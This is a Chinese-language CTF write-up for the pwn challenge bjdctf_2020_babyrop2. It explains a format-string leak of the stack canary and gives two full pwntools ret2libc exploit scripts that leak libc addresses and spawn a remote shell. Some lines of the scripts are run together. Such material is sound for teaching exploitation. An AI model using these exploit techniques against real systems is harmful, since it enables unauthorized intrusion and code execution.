> 文章列表 > bjdctf_2020_babyrop2-fmt-leak canary

bjdctf_2020_babyrop2-fmt-leak canary

bjdctf_2020_babyrop2-fmt-leak canary

1,三连
bjdctf_2020_babyrop2-fmt-leak canary分析:开了canary,先想办法获取canary值。

2,IDA静态分析,查看可以泄露canary的地方,否则只能爆破了
发现可以格式化字符串函数泄露的地方:
bjdctf_2020_babyrop2-fmt-leak canary
栈帧结构:

地址
--------------
gift_ret栈帧
--------------
gift_ebp
--------------
canary
...
format局部变量的地址:存入的内容=>aa%6$p(假格式化参数6)
...
--------------
假格式化参数5
--------------
...假参数2-4
--------------
假格式化参数1
--------------=>gift_esp
format的地址(printf的参数) - > 内容是格式化字符的地址(泄露高地址信息):构造=>aa%6$p
printf_ret栈帧
--------------
低地址

限制:只能输入6个字符,所以不能如下构造

aaaa%x %x %x.......

得利用aa%[n]$p格式

格式化规则说明:

  • n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数,则其他所有占位符必须也使用 参数。
    例:printf("%2$d %2$#x; %1$d %1$#x",16,17)
    打印结果:17 0x11; 16 0x10

  • p是void * 型,输出对应变量的值。
    printf(“%p”, a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址

思路:aa相当于定位标识,format在格式化假参数6的位置,所以构造成aa%6$p
对应16进制:aa(6161),%(25),6(36),$(24),p(70) (16进制asll和小端序)
通过p打印出对应16进制即可推出canary。

canary的位置:即format局部变量的地址的上一个位置,则aa%7$p即泄露canary的地址。

3,获取偏移
bjdctf_2020_babyrop2-fmt-leak canary
vuln的偏移=0x20-0x8(canary填充)
即构造:

payload = b'a'(0x20-8) + p64(canary) + p64(ret)

4,IDA静态查找可利用函数/字符串
bjdctf_2020_babyrop2-fmt-leak canary

思路:无直接可利用sys函数,所以是ret2lic,利用put泄露基址。

4,payload

from pwn import *
from LibcSearcher import *io = remote("node4.buuoj.cn",28141)
#io = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x400887
rdi = 0x0000000000400993 #: pop rdi ; retio.sendline('%7$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
#print hex(canary)payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\\n",payload)puts_addr = u64(io.recv(6).ljust(8,b"\\x00"))
print(hex(puts_addr))libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")+1
bin_sh_addr = libc_base + libc.dump("str_bin_sh")payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter("story!\\n",payload)io.interactive()

上面版本用Libcsearcher的libc进入shell就异常!!

使用如下版本:
本地libc下载:https://github.com/Yeuoly/buuctf_pwn/tree/master/bjdctf_2020_babyrop2

from pwn import *context.log_level = 'debug'proc_name = './bjdctf_2020_babyrop2'#p = process(proc_name)
p = remote('node4.buuoj.cn', 27013)
elf = ELF(proc_name)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']pop_rdi_ret = 0x400993
ret = 0x4005f9#gdb.attach(p, 'b *0x400857')
#format overflow
p.recvuntil('I\\'ll give u some gift to help u!\\n')payload = b'%7$p'p.sendline(payload)canary = int(p.recv(0x12), 16)print('[+] canary -> {}'.format(hex(canary)))#gdb.attach(p, 'b *0x4008c3')
p.recvuntil('Pull up your sword and tell me u story!\\n')payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(puts_got) 
payload += p64(puts_plt) + p64(vuln)p.sendline(payload)puts_real_addr = u64(p.recv(6).ljust(8, b'\\0'))libc_base = puts_real_addr - libc.sym['puts']print('[+] libc_base -> {}'.format(hex(libc_base)))system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) 
payload += p64(system_addr)p.recvuntil('story!\\n')p.sendline(payload)p.interactive()